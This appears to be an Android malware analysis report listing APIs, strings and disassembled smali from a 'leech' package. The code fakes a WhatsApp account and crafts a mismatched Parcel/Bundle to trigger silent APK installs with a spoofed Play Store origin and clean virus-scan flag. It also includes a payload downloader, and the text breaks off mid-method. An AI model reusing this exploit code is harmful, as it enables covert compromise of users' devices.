                                                                              • android.os.Parcel.writeString
                                                                              • android.os.Parcel.dataSize
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.writeInt
                                                                              • android.os.Parcel.appendFrom
                                                                              • android.os.Parcel.setDataPosition
                                                                              • android.os.Bundle.readFromParcel
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.content.Intent.putExtra
                                                                              • java.io.File.<init>
                                                                              • android.net.Uri.fromFile
                                                                              • android.content.Intent.setData
                                                                              Strings
                                                                              • com.whatsapp
                                                                              • WhatsApp
                                                                              • mismatch
                                                                              • com.android.internal.telephony.DcParamObject
                                                                              • intent
                                                                              • android.content.Intent
                                                                              • apk_path
                                                                              • chmod 0755
                                                                              • com.android.packageinstaller
                                                                              • com.android.packageinstaller.InstallAppProgress
                                                                              • com.android.packageinstaller.InstallFlowAnalytics
                                                                              • fake_name
                                                                              • inflect_pkg
                                                                              • android.intent.action.RUN
                                                                              • com.android.packageinstaller.applicationInfo
                                                                              • virusScanStatus
                                                                              • com.android.packageinstaller.launcheredFromPackage
                                                                              • com.android.vending
                                                                              • /system/..
                                                                              • Padding-Key
                                                                              • Padding-Value
                                                                              • Core
                                                                              • inflect
                                                                              • createInstallBundle apk:
                                                                              • com.android.packageinstaller.extras.install_flow_analytics
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "optios" # Landroid/os/Bundle;
                                                                              1.prologue
                                                                              3invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              4move-result-object v8
                                                                              5try_start_4:
                                                                              6const-string v24, "com.whatsapp"
                                                                              8invoke-virtual {v8}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              9move-result-object v25
                                                                              11invoke-virtual/range {v24 .. v25}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              12move-result v24
                                                                              13if-eqz v24, :cond_2c
                                                                              15invoke-static {v8}, Landroid/accounts/AccountManager;->get(Landroid/content/Context;)Landroid/accounts/AccountManager;
                                                                              16move-result-object v4
                                                                              17new-instance v3, Landroid/accounts/Account;
                                                                              19const-string v24, "WhatsApp"
                                                                              21const-string v25, "com.whatsapp"
                                                                              22move-object/from16 v0, v24
                                                                              23move-object/from16 v1, v25
                                                                              25invoke-direct {v3, v0, v1}, Landroid/accounts/Account;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              26const/16 v24, 0x0
                                                                              27const/16 v25, 0x0
                                                                              28move-object/from16 v0, v24
                                                                              29move-object/from16 v1, v25
                                                                              31invoke-virtual {v4, v3, v0, v1}, Landroid/accounts/AccountManager;->addAccountExplicitly(Landroid/accounts/Account;Ljava/lang/String;Landroid/os/Bundle;)Z
                                                                              32goto_2c: new-instance v9, Landroid/os/Bundle;
                                                                              34invoke-direct {v9}, Landroid/os/Bundle;-><init>()V
                                                                              36invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
                                                                              37move-result-object v7
                                                                              39invoke-static {}, Landroid/os/Parcel;->obtain()Landroid/os/Parcel;
                                                                              40move-result-object v22
                                                                              41const/16 v24, 0x3
                                                                              42move-object/from16 v0, v22
                                                                              43move/from16 v1, v24
                                                                              45invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              47const-string v24, "mismatch"
                                                                              48move-object/from16 v0, v22
                                                                              49move-object/from16 v1, v24
                                                                              51invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                                              52const/16 v24, 0x4
                                                                              53move-object/from16 v0, v22
                                                                              54move/from16 v1, v24
                                                                              56invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              58const-string v24, "com.android.internal.telephony.DcParamObject"
                                                                              59move-object/from16 v0, v22
                                                                              60move-object/from16 v1, v24
                                                                              62invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                                              63const/16 v24, 0x1
                                                                              64move-object/from16 v0, v22
                                                                              65move/from16 v1, v24
                                                                              67invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              68const/16 v24, 0x1
                                                                              69move-object/from16 v0, v22
                                                                              70move/from16 v1, v24
                                                                              72invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              73const/16 v24, 0x6
                                                                              74move-object/from16 v0, v22
                                                                              75move/from16 v1, v24
                                                                              77invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              78const/16 v24, 0xd
                                                                              79move-object/from16 v0, v22
                                                                              80move/from16 v1, v24
                                                                              82invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              83const/16 v24, -0x1
                                                                              84move-object/from16 v0, v22
                                                                              85move/from16 v1, v24
                                                                              87invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              89invoke-virtual/range {v22 .. v22}, Landroid/os/Parcel;->dataPosition()I
                                                                              90move-result v17
                                                                              92const-string v24, "intent"
                                                                              93move-object/from16 v0, v22
                                                                              94move-object/from16 v1, v24
                                                                              96invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                                              97const/16 v24, 0x4
                                                                              98move-object/from16 v0, v22
                                                                              99move/from16 v1, v24
                                                                              101invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              103const-string v24, "android.content.Intent"
                                                                              104move-object/from16 v0, v22
                                                                              105move-object/from16 v1, v24
                                                                              107invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                                              108const/4 v12, 0x0
                                                                              109new-instance v20, Lcom/android/packageinstaller/InstallFlowAnalytics;
                                                                              111invoke-direct/range {v20 .. v20}, Lcom/android/packageinstaller/InstallFlowAnalytics;-><init>()V
                                                                              113const-string v24, "apk_path"
                                                                              114move-object/from16 v0, p0
                                                                              115move-object/from16 v1, v24
                                                                              117invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              118move-result-object v5
                                                                              120invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              121move-result v24
                                                                              122if-eqz v24, :cond_c1
                                                                              123const/4 v9, 0x0
                                                                              124goto_c0: return-object v9
                                                                              125cond_c1:
                                                                              126invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              127move-result-object v24
                                                                              128new-instance v25, Ljava/lang/StringBuilder;
                                                                              130invoke-direct/range {v25 .. v25}, Ljava/lang/StringBuilder;-><init>()V
                                                                              132const-string v26, "chmod 0755 "
                                                                              134invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              135move-result-object v25
                                                                              136move-object/from16 v0, v25
                                                                              138invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              139move-result-object v25
                                                                              141invoke-virtual/range {v25 .. v25}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              142move-result-object v25
                                                                              144invoke-virtual/range {v24 .. v25}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                                                              145move-result-object v24
                                                                              147invoke-virtual/range {v24 .. v24}, Ljava/lang/Object;->wait()V
                                                                              148goto_e1: new-instance v14, Landroid/content/ComponentName;
                                                                              150const-string v24, "com.android.packageinstaller"
                                                                              152const-string v25, "com.android.packageinstaller.InstallAppProgress"
                                                                              153move-object/from16 v0, v24
                                                                              154move-object/from16 v1, v25
                                                                              156invoke-direct {v14, v0, v1}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              157try_start_ee:
                                                                              158invoke-static {v8, v5}, Lcom/android/leech/base/util/ApkInfos;->getSystemPackageInstaller(Landroid/content/Context;Ljava/lang/String;)Landroid/content/ComponentName;
                                                                              159move-result-object v15
                                                                              160if-eqz v15, :cond_f5
                                                                              161move-object v14, v15
                                                                              162cond_f5:
                                                                              163invoke-virtual {v14}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                                                                              164move-result-object v24
                                                                              165move-object/from16 v0, v24
                                                                              167invoke-static {v8, v0}, Lcom/android/leech/base/util/ApkInfos;->getAppFilePath(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                                                                              168move-result-object v23
                                                                              169new-instance v21, Ldalvik/system/PathClassLoader;
                                                                              170new-instance v24, Lcom/android/leech/main/installer/impl/ReParcelMain;
                                                                              172invoke-direct/range {v24 .. v24}, Lcom/android/leech/main/installer/impl/ReParcelMain;-><init>()V
                                                                              174invoke-virtual/range {v24 .. v24}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              175move-result-object v24
                                                                              177invoke-virtual/range {v24 .. v24}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              178move-result-object v24
                                                                              179move-object/from16 v0, v21
                                                                              180move-object/from16 v1, v23
                                                                              181move-object/from16 v2, v24
                                                                              183invoke-direct {v0, v1, v2}, Ldalvik/system/PathClassLoader;-><init>(Ljava/lang/String;Ljava/lang/ClassLoader;)V
                                                                              185const-string v24, "com.android.packageinstaller.InstallFlowAnalytics"
                                                                              186const/16 v25, 0x1
                                                                              187move-object/from16 v0, v24
                                                                              188move/from16 v1, v25
                                                                              189move-object/from16 v2, v21
                                                                              191invoke-static {v0, v1, v2}, Ljava/lang/Class;->forName(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
                                                                              192move-result-object v12
                                                                              194invoke-virtual {v12}, Ljava/lang/Class;->newInstance()Ljava/lang/Object;
                                                                              195try_end_128: move-result-object v20
                                                                              196goto_129: const/4 v6, 0x0
                                                                              198const-string v24, "fake_name"
                                                                              199move-object/from16 v0, p0
                                                                              200move-object/from16 v1, v24
                                                                              202invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              203move-result-object v11
                                                                              205invoke-static {v11}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              206move-result v24
                                                                              207if-nez v24, :cond_148
                                                                              208try_start_13a:
                                                                              209invoke-virtual {v8}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              210move-result-object v24
                                                                              211const/16 v25, 0x0
                                                                              212move-object/from16 v0, v24
                                                                              213move/from16 v1, v25
                                                                              215invoke-virtual {v0, v11, v1}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                                                                              216try_end_147: move-result-object v6
                                                                              217goto_148: if-nez v6, :cond_168
                                                                              219const-string v24, "inflect_pkg"
                                                                              220move-object/from16 v0, p0
                                                                              221move-object/from16 v1, v24
                                                                              223invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                                              224move-result-object v13
                                                                              226invoke-static {v13}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              227move-result v24
                                                                              228if-nez v24, :cond_168
                                                                              229try_start_15a:
                                                                              230invoke-virtual {v8}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              231move-result-object v24
                                                                              232const/16 v25, 0x0
                                                                              233move-object/from16 v0, v24
                                                                              234move/from16 v1, v25
                                                                              236invoke-virtual {v0, v13, v1}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                                                                              237try_end_167: move-result-object v6
                                                                              238goto_168: if-nez v6, :cond_16e
                                                                              240invoke-static {v8, v5}, Lcom/android/leech/base/util/ApkInfos;->getApplicationArchiveInfo(Landroid/content/Context;Ljava/lang/String;)Landroid/content/pm/ApplicationInfo;
                                                                              241move-result-object v6
                                                                              242cond_16e: if-nez v6, :cond_174
                                                                              243try_start_170:
                                                                              244invoke-virtual {v8}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                                                                              245try_end_173: move-result-object v6
                                                                              246cond_174: if-nez v6, :cond_179
                                                                              247const/4 v9, 0x0
                                                                              248goto/16 :goto_c0
                                                                              249cond_179: new-instance v24, Landroid/content/Intent;
                                                                              251const-string v25, "android.intent.action.RUN"
                                                                              253invoke-direct/range {v24 .. v25}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              254move-object/from16 v0, v24
                                                                              256invoke-virtual {v0, v14}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              257move-result-object v24
                                                                              259const-string v25, "com.android.packageinstaller.applicationInfo"
                                                                              260move-object/from16 v0, v24
                                                                              261move-object/from16 v1, v25
                                                                              263invoke-virtual {v0, v1, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                                                                              264move-result-object v24
                                                                              266const-string v25, "virusScanStatus"
                                                                              267const/16 v26, 0x1
                                                                              269invoke-virtual/range {v24 .. v26}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                                                                              270move-result-object v24
                                                                              272const-string v25, "com.android.packageinstaller.launcheredFromPackage"
                                                                              274const-string v26, "com.android.vending"
                                                                              276invoke-virtual/range {v24 .. v26}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                                                                              277move-result-object v24
                                                                              278const/high16 v25, 0x40000000 # 2.0f
                                                                              280invoke-virtual/range {v24 .. v25}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              281move-result-object v24
                                                                              282const/high16 v25, 0x10000000
                                                                              284invoke-virtual/range {v24 .. v25}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              285move-result-object v10
                                                                              286sget v24, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              287const/16 v25, 0x18
                                                                              288move/from16 v0, v24
                                                                              289move/from16 v1, v25
                                                                              290if-lt v0, v1, :cond_25e
                                                                              291new-instance v24, Ljava/io/File;
                                                                              292new-instance v25, Ljava/lang/StringBuilder;
                                                                              294invoke-direct/range {v25 .. v25}, Ljava/lang/StringBuilder;-><init>()V
                                                                              296const-string v26, "/system/.."
                                                                              298invoke-virtual/range {v25 .. v26}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              299move-result-object v25
                                                                              300move-object/from16 v0, v25
                                                                              302invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              303move-result-object v25
                                                                              305invoke-virtual/range {v25 .. v25}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              306move-result-object v25
                                                                              308invoke-direct/range {v24 .. v25}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              310invoke-static/range {v24 .. v24}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              311move-result-object v24
                                                                              312move-object/from16 v0, v24
                                                                              314invoke-virtual {v10, v0}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                                                              315goto_1d9: const/high16 v24, 0x10000000
                                                                              316move-object/from16 v0, v22
                                                                              317move/from16 v1, v24
                                                                              319invoke-virtual {v10, v0, v1}, Landroid/content/Intent;->writeToParcel(Landroid/os/Parcel;I)V
                                                                              321invoke-virtual/range {v22 .. v22}, Landroid/os/Parcel;->dataPosition()I
                                                                              322move-result v16
                                                                              323sub-int v19, v16, v17
                                                                              324add-int/lit8 v24, v17, -0x4
                                                                              325move-object/from16 v0, v22
                                                                              326move/from16 v1, v24
                                                                              328invoke-virtual {v0, v1}, Landroid/os/Parcel;->setDataPosition(I)V
                                                                              329move-object/from16 v0, v22
                                                                              330move/from16 v1, v19
                                                                              332invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              333move-object/from16 v0, v22
                                                                              334move/from16 v1, v16
                                                                              336invoke-virtual {v0, v1}, Landroid/os/Parcel;->setDataPosition(I)V
                                                                              338const-string v24, "Padding-Key"
                                                                              339move-object/from16 v0, v22
                                                                              340move-object/from16 v1, v24
                                                                              342invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                                              343const/16 v24, 0x0
                                                                              344move-object/from16 v0, v22
                                                                              345move/from16 v1, v24
                                                                              347invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeInt(I)V
                                                                              349const-string v24, "Padding-Value"
                                                                              350move-object/from16 v0, v22
                                                                              351move-object/from16 v1, v24
                                                                              353invoke-virtual {v0, v1}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                                                                              355invoke-virtual/range {v22 .. v22}, Landroid/os/Parcel;->dataSize()I
                                                                              356move-result v18
                                                                              357move/from16 v0, v18
                                                                              359invoke-virtual {v7, v0}, Landroid/os/Parcel;->writeInt(I)V
                                                                              360const v24, 0x4c444e42 # 5.146036E7f
                                                                              361move/from16 v0, v24
                                                                              363invoke-virtual {v7, v0}, Landroid/os/Parcel;->writeInt(I)V
                                                                              364const/16 v24, 0x0
                                                                              365move-object/from16 v0, v22
                                                                              366move/from16 v1, v24
                                                                              367move/from16 v2, v18
                                                                              369invoke-virtual {v7, v0, v1, v2}, Landroid/os/Parcel;->appendFrom(Landroid/os/Parcel;II)V
                                                                              370const/16 v24, 0x0
                                                                              371move/from16 v0, v24
                                                                              373invoke-virtual {v7, v0}, Landroid/os/Parcel;->setDataPosition(I)V
                                                                              375invoke-virtual {v9, v7}, Landroid/os/Bundle;->readFromParcel(Landroid/os/Parcel;)V
                                                                              377const-string v24, "Core"
                                                                              379const-string v25, "inflect"
                                                                              380new-instance v26, Ljava/lang/StringBuilder;
                                                                              382invoke-direct/range {v26 .. v26}, Ljava/lang/StringBuilder;-><init>()V
                                                                              384const-string v27, "createInstallBundle apk:"
                                                                              386invoke-virtual/range {v26 .. v27}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              387move-result-object v26
                                                                              388move-object/from16 v0, v26
                                                                              390invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              391move-result-object v26
                                                                              393invoke-virtual/range {v26 .. v26}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              394move-result-object v26
                                                                              396invoke-static/range {v24 .. v26}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              397goto/16 :goto_c0
                                                                              398cond_25e:
                                                                              399const-string v24, "com.android.packageinstaller.extras.install_flow_analytics"
                                                                              400check-cast v20, Landroid/os/Parcelable;
                                                                              401move-object/from16 v0, v24
                                                                              402move-object/from16 v1, v20
                                                                              404invoke-virtual {v10, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                                                                              405new-instance v24, Ljava/io/File;
                                                                              406move-object/from16 v0, v24
                                                                              408invoke-direct {v0, v5}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              410invoke-static/range {v24 .. v24}, Landroid/net/Uri;->fromFile(Ljava/io/File;)Landroid/net/Uri;
                                                                              411move-result-object v24
                                                                              412move-object/from16 v0, v24
                                                                              414invoke-virtual {v10, v0}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                                                              415goto/16 :goto_1d9
                                                                              416catch_27b: move-exception v24
                                                                              417goto/16 :goto_174
                                                                              418catch_27e: move-exception v24
                                                                              419goto/16 :goto_168
                                                                              420catch_281: move-exception v24
                                                                              421goto/16 :goto_148
                                                                              422catch_284: move-exception v24
                                                                              423goto/16 :goto_129
                                                                              424catch_287: move-exception v24
                                                                              425goto/16 :goto_e1
                                                                              426catch_28a: move-exception v24
                                                                              427goto/16 :goto_2c
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • javax.net.ssl.HttpsURLConnection.setConnectTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestMethod
                                                                              • java.net.URL.toString
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.connect
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • java.io.File.mkdirs
                                                                              • java.io.File.<init>
                                                                              • javax.net.ssl.HttpsURLConnection.getContentLength
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.io.InputStream.close
                                                                              • java.net.MalformedURLException.getMessage
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.net.MalformedURLException.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Exception.printStackTrace
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.RandomAccessFile.<init>
                                                                              • java.io.RandomAccessFile.seek
                                                                              • java.io.InputStream.read
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.io.InputStream.close
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.io.RandomAccessFile.write
                                                                              • java.io.File.exists
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.io.InputStream.close
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.io.InputStream.close
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.io.IOException.printStackTrace
                                                                              • java.io.IOException.getMessage
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.io.IOException.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.io.RandomAccessFile.close
                                                                              • java.lang.Exception.getMessage
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Exception.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.InputStream.close
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.io.InputStream.close
                                                                              • java.lang.Exception.printStackTrace
                                                                              Strings
                                                                              • GET
                                                                              • Referer
                                                                              • Charset
                                                                              • UTF-8
                                                                              • Range
                                                                              • bytes=
                                                                              • -
                                                                              • Connection
                                                                              • Keep-Alive
                                                                              • tLen <= 0
                                                                              • url error:
                                                                              • rwd
                                                                              • dowload failed:
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1try_start_0: new-instance v3, Ljava/net/URL;
                                                                              3invoke-virtual/range {p0 .. p0}, Lcom/android/leech/base/bugly/download/t;->getDownloadUrl()Ljava/lang/String;
                                                                              4move-result-object v19
                                                                              5move-object/from16 v0, v19
                                                                              7invoke-direct {v3, v0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              8try_end_b: const/4 v5, 0x0
                                                                              9const/4 v6, 0x0
                                                                              10const/4 v13, 0x0
                                                                              11move-object v7, v6
                                                                              12goto_f: const/16 v19, 0x3
                                                                              13move/from16 v0, v19
                                                                              14if-ge v13, v0, :cond_2c4
                                                                              15add-int/lit8 v13, v13, 0x1
                                                                              16try_start_17:
                                                                              17invoke-virtual {v3}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              18move-result-object v14
                                                                              19check-cast v14, Ljavax/net/ssl/HttpsURLConnection;
                                                                              20const/16 v19, 0x1388
                                                                              21move/from16 v0, v19
                                                                              23invoke-virtual {v14, v0}, Ljavax/net/ssl/HttpsURLConnection;->setConnectTimeout(I)V
                                                                              25const-string v19, "GET"
                                                                              26move-object/from16 v0, v19
                                                                              28invoke-virtual {v14, v0}, Ljavax/net/ssl/HttpsURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              30const-string v19, "Referer"
                                                                              32invoke-virtual {v3}, Ljava/net/URL;->toString()Ljava/lang/String;
                                                                              33move-result-object v20
                                                                              34move-object/from16 v0, v19
                                                                              35move-object/from16 v1, v20
                                                                              37invoke-virtual {v14, v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              39const-string v19, "Charset"
                                                                              41const-string v20, "UTF-8"
                                                                              42move-object/from16 v0, v19
                                                                              43move-object/from16 v1, v20
                                                                              45invoke-virtual {v14, v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              47const-string v19, "Range"
                                                                              48new-instance v20, Ljava/lang/StringBuilder;
                                                                              50invoke-direct/range {v20 .. v20}, Ljava/lang/StringBuilder;-><init>()V
                                                                              52const-string v21, "bytes="
                                                                              54invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              55move-result-object v20
                                                                              56move-object/from16 v0, p0
                                                                              57iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->e:J
                                                                              58move-wide/from16 v21, v0
                                                                              60invoke-virtual/range {v20 .. v22}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                                                                              61move-result-object v20
                                                                              63const-string v21, "-"
                                                                              65invoke-virtual/range {v20 .. v21}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              66move-result-object v20
                                                                              68invoke-virtual/range {v20 .. v20}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              69move-result-object v20
                                                                              70move-object/from16 v0, v19
                                                                              71move-object/from16 v1, v20
                                                                              73invoke-virtual {v14, v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              75const-string v19, "Connection"
                                                                              77const-string v20, "Keep-Alive"
                                                                              78move-object/from16 v0, v19
                                                                              79move-object/from16 v1, v20
                                                                              81invoke-virtual {v14, v0, v1}, Ljavax/net/ssl/HttpsURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              83invoke-virtual {v14}, Ljavax/net/ssl/HttpsURLConnection;->connect()V
                                                                              84new-instance v15, Ljava/io/File;
                                                                              85move-object/from16 v0, p0
                                                                              87iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->b:Ljava/lang/String;
                                                                              88move-object/from16 v19, v0
                                                                              89move-object/from16 v0, v19
                                                                              91invoke-direct {v15, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              93invoke-virtual {v15}, Ljava/io/File;->exists()Z
                                                                              94move-result v19
                                                                              95if-nez v19, :cond_8f
                                                                              97invoke-virtual {v15}, Ljava/io/File;->mkdirs()Z
                                                                              98cond_8f: new-instance v19, Ljava/io/File;
                                                                              99move-object/from16 v0, p0
                                                                              101iget-object v0, v0, Lcom/android/leech/base/bugly/download/t;->c:Ljava/lang/String;
                                                                              102move-object/from16 v20, v0
                                                                              103move-object/from16 v0, v19
                                                                              104move-object/from16 v1, v20
                                                                              106invoke-direct {v0, v15, v1}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                                              107move-object/from16 v0, v19
                                                                              108move-object/from16 v1, p0
                                                                              109iput-object v0, v1, Lcom/android/leech/base/bugly/download/t;->l:Ljava/io/File;
                                                                              110move-object/from16 v0, p0
                                                                              111iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->f:J
                                                                              112move-wide/from16 v19, v0
                                                                              113const-wide/16 v21, 0x0
                                                                              114cmp-long v19, v19, v21
                                                                              115if-nez v19, :cond_121
                                                                              117invoke-virtual {v14}, Ljavax/net/ssl/HttpsURLConnection;->getContentLength()I
                                                                              118move-result v19
                                                                              119move/from16 v0, v19
                                                                              120int-to-long v0, v0
                                                                              121move-wide/from16 v19, v0
                                                                              122move-wide/from16 v0, v19
                                                                              123move-object/from16 v2, p0
                                                                              124iput-wide v0, v2, Lcom/android/leech/base/bugly/download/t;->f:J
                                                                              125move-object/from16 v0, p0
                                                                              126iget-wide v0, v0, Lcom/android/leech/base/bugly/download/t;->f:J
                                                                              127move-wide/from16 v19, v0
                                                                              128const-wide/16 v21, 0x0
                                                                              129cmp-long v19, v19, v21
                                                                              130if-gtz v19, :cond_121
                                                                              131const/16 v19, 0x7d0
                                                                              133const-string v20, "tLen <= 0 "
                                                                              134move-object/from16 v0, p0
                                                                              135move/from16 v1, v19
                                                                              136move-object/from16 v2, v20
                                                                              138invoke-virtual {v0, v1, v2}, Lcom/android/leech/base/bugly/download/t;->a(ILjava/lang/String;)V
                                                                              139try_end_d8: if-eqz v7, :cond_dd
                                                                              140try_start_da:
                                                                              141invoke-virtual {v7}, Ljava/io/RandomAccessFile;->close()V
                                                                              142try_end_dd: if-eqz v5, :cond_e2
                                                                              143try_start_df:
                                                                              144invoke-virtual {v5}, Ljava/io/InputStream;->close()V
                                                                              145goto_e2: return-void
                                                                              146catch_e3: move-exception v9
